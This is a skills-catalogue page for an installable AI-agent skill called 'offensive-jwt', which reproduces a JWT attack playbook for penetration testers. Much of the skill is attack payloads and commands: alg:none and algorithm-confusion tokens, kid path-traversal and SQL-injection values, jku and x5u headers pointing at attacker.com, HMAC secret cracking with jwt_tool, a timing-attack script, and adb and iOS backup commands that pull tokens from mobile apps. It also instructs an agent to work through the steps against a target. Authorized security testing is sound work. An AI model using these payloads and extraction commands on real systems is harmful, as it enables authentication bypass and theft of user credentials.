SkillAgentSearch skills...

offensive-jwt

JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256β†’HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-jwt

Installs into whichever agent you are using.

About this skill
πŸ“„

SKILL.md

Installable skill definition

Quality Score

95/100

Category

Security

Supported Platforms

Universal

Our assessment of offensive-jwt

offensive-jwt scores 95/100 on our quality scale, 293rd of 1,108 Security skills we index (top 27%).

Its SKILL.md is 10 KB long, well organised into 30 sections with 6 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so offensive-jwt is actively maintained.
  • Our last check on 2026-11-15 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit β€” read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to perform active attacks such as algorithm confusion, kid SQL injection/path traversal, jku/x5u header injection, and JWKS cache poisoning to bypass authentication.

AI review: risky

  • The skill instructs the agent to perform active attacks such as algorithm confusion, kid SQL injection/path traversal, jku/x5u header injection, and JWKS cache poisoning to bypass authentication.
  • It directs extraction of credentials/tokens from mobile devices via adb, run-as, and iOS backup tools, and brute-forcing HMAC secrets with jwt_tool, which constitutes credential theft/data exfiltration.
  • It includes timing-attack scripts and curl commands to manipulate tokens and probe for auth bypass, with no authorization guardrails.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-28. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk β€” read a skill before letting an agent act on it.

offensive-jwt compared with similar skills

All 4 of these similar skills score higher than offensive-jwt; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-jwt (this skill)by SnailSploit956.8k58d agoSKILL.md
claude-memby thedotmack100117.6ktodayCLAUDE.md
x402by browser-use100121.0k3d agoSKILL.md
algorithmic-artby anthropics100177.9k55d agoSKILL.md
pptxby anthropics100177.9k55d agoSKILL.md

Frequently asked questions

How do I install offensive-jwt?
Run npx skills add SnailSploit/Claude-Red --skill offensive-jwt. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-jwt work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-jwt safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to perform active attacks such as algorithm confusion, kid SQL injection/path traversal, jku/x5u header injection, and JWKS cache poisoning to bypass authentication. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-jwt still maintained?
The repository was last updated about 2 months ago, so offensive-jwt is actively maintained.

name: offensive-jwt description: "JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256β†’HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps."

Overview

Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.

Quick Reference: Misconfigurations to Check

  • Algorithm set to none β€” signature verification bypassed entirely
  • Algorithm switching between RSA and HMAC (confusion attack)
  • Weak or guessable HMAC secret (brute-forceable)
  • kid, jku, jwk, x5u header parameters accepted without validation
  • Expired or tampered tokens accepted by server
  • Sensitive data stored unencrypted in payload

Useful tool: JWT Tool

Mechanisms

JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.

Signing algorithms:

| Algorithm | Type | Notes | |-----------|------|-------| | HS256/384/512 | Symmetric HMAC | Shared secret; confusion target | | RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret | | ES256/384/512 | Asymmetric ECDSA | | | PS256/384/512 | RSASSA-PSS | | | EdDSA (Ed25519/Ed448) | Asymmetric | | | none | Unsigned | Critically insecure |

Additional pitfalls:

  • JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected typ/cty
  • JWKS retrieval: SSRF via jku/x5u, insecure TLS, poisoned key caching, kid collisions
  • Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients

Hunt: Identifying JWT Usage

  1. Check Authorization: Bearer <token> headers in all requests
  2. Look for cookies containing JWT structures (eyJ...)
  3. Examine browser local/session storage
  4. Decode the token at jwt.io or via BurpSuite JWT extension β€” inspect claims and header parameters
  5. Note any kid, jku, jwk, x5u fields in the header β€” these are attack surfaces

Vulnerability Map

JWT Vulnerabilities
β”œβ”€β”€ Algorithm Bypass
β”‚   β”œβ”€β”€ alg:none attack
β”‚   └── RS256β†’HS256 confusion (public key as HMAC secret)
β”œβ”€β”€ Weak Secret Key β†’ Brute force
β”œβ”€β”€ kid Parameter Injection
β”‚   β”œβ”€β”€ SQL injection via kid
β”‚   └── Path traversal via kid
β”œβ”€β”€ Header Injection
β”‚   β”œβ”€β”€ jwk (inline fake key)
β”‚   β”œβ”€β”€ jku/x5u (remote attacker-controlled JWKS)
β”‚   └── JWKS cache poisoning
└── Missing / Broken Validation
    β”œβ”€β”€ No signature check
    β”œβ”€β”€ Expired tokens accepted
    └── iss/aud/exp not validated

Vulnerabilities

Algorithm Vulnerabilities

  • alg:none β€” Some libraries disable signature validation when alg is none or a case variant (None, NONE, nOnE)
  • Algorithm Confusion (RS256β†’HS256) β€” Server uses RSA public key as HMAC secret when attacker switches alg to HS256; attacker re-signs token with the public key
  • Key ID (kid) Manipulation β€” Exploiting kid to load wrong keys or inject file paths / SQL; enforce strict lookups

Signature Vulnerabilities

  • Weak HMAC Secrets β€” Brute-forceable with dictionary or hashcat
  • Missing Signature Validation β€” Token accepted without any verification
  • Broken Validation β€” Implementation errors in signature checking logic

Implementation Issues

  • Missing Claims Validation β€” exp, nbf, aud, iss not verified
  • Insufficient Entropy β€” Predictable JWT IDs or tokens
  • No Expiration β€” Tokens valid indefinitely
  • Insecure Transport β€” Token sent over HTTP
  • Debug Leakage β€” Detailed error messages expose implementation

Header Injection Attacks

  • JWK Injection β€” Supply a custom attacker-controlled public key via the jwk header
  • JKU Manipulation β€” Point jku (JWK Set URL) to attacker-controlled JWKS endpoint
  • x5u Misuse β€” Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
  • JWKS Cache Poisoning β€” Force caches to accept attacker keys via kid collisions or response header manipulation
  • crit Header Abuse β€” Server ignores unknown critical parameters, enabling bypass

Information Disclosure

  • Sensitive data (PII, credentials, session details) stored unencrypted in payload
  • Internal service/backend information leaked via claims

Additional Attack Vectors

Mobile App JWT Storage

Android:

  • SharedPreferences: Check if world-readable; location /data/data/<package>/shared_prefs/
  • Keystore extraction: root device or exploit app
  • Backup extraction: adb backup -f backup.ab <package> (if allowBackup=true)
  • Tools: Frida, objection, MobSF

iOS:

  • Keychain: Check kSecAttrAccessible β€” kSecAttrAccessibleAlways is insecure
  • iTunes/iCloud backup extraction: unencrypted backups expose Keychain
  • Jailbreak + Keychain-Dumper for full extraction
  • Tools: Frida, objection, idb

React Native / Hybrid:

  • AsyncStorage stored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android β€” check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS β€” extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT

JWT Confusion Attacks

  • SAML-JWT Confusion β€” App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
  • API Key-JWT Confusion β€” Test sending JWT where API key expected and vice versa
  • Session Cookie-JWT Hybrid β€” Test expired JWT with valid session cookie; inject JWT claims into session
  • OAuth Token Confusion β€” Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource

Timing Attacks on HMAC

Non-constant-time comparison leaks the HMAC secret character by character via response time differences.

import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte β€” longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())

JWT in URL Parameters

  • Tokens in GET URLs appear in server logs, proxy logs, browser history
  • Leaked via Referer header to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.

Manual Testing Steps

  1. Decode and Inspect:

    base64url_decode(header) . base64url_decode(payload) . signature
    
  2. Test none Algorithm (try all case variants):

    {"alg":"none","typ":"JWT"}.payload.""
    {"alg":"None","typ":"JWT"}.payload.""
    {"alg":"NONE","typ":"JWT"}.payload.""
    {"alg":"nOnE","typ":"JWT"}.payload.""
    
  3. Algorithm Confusion (RS256β†’HS256):

    # Re-sign with RSA public key used as HMAC secret
    {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
    
  4. kid Parameter Attacks:

    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
    
  5. JWK/JKU Injection:

    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
    {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
    
  6. x5u / crit Handling:

    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
    {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
    
  7. Brute Force HMAC Secret:

    python3 jwt_tool.py <token> -C -d wordlist.txt
    
  8. Test Missing Claim Validation:

    • Remove or modify exp (expiration)
    • Change iss (issuer) or aud (audience)
    • Modify iat (issued at) or nbf (not before)

Automated Testing with JWT_Tool

# Basic token inspection
python3 jwt_tool.py <token>

# Full vulnerability scan
python3 jwt_tool.py <token> -M all

# Targeted attacks
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # Null/none signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt

Other tools:

  • JWT.io β€” basic token inspection and debugging
  • Burp Suite JWT Scanner / JWT Editor extension β€” automated testing and token editing
  • jwtXploiter β€” advanced JWT vulnerability scanning
  • c-jwt-cracker β€” high-speed HMAC brute force (C implementation)
  • Frida, objection, MobSF β€” mobile JWT extraction

Remediation Recommendations

  • Use short-lived access tokens; rotate refresh tokens frequently
  • Always validate aud (audience) and iss (issuer) claims
  • Disable none algorithm; prevent algorithm downgrades; pin alg per client/issuer
  • Ensure key material loaded for verification matches alg; reject mismatches
  • Reject tokens with unknown crit header parameters
  • Validate JWKS over pinned TLS; disallow remote jku/x5u except trusted domains; short-TTL key caching with kid uniqueness
  • Enforce maximum token length; disable JWE compression unless required
  • Maintain server-side deny-list keyed by jti for early revocation
  • For DPoP tokens (typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use
  • Bind sessions to device when possible; rotate refresh tokens on every use
  • Prefer SameSite=Lax/Strict HttpOnly cookies for web; avoid localStorage for access tokens

Alternatives & Modern Mitigations

  • PASETO β€” removes algorithm negotiation entirely; eliminates confusion attacks
  • Macaroons β€” bearer tokens with attenuable, caveat-based delegation
  • DPoP and mTLS β€” bind tokens to the client to prevent replay

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated1mo ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit β€” see the Safety scan above for what the skill file itself contains.

No cautions
offensive-jwt β€” Universal Skill: Install & Safety Check | SkillAgent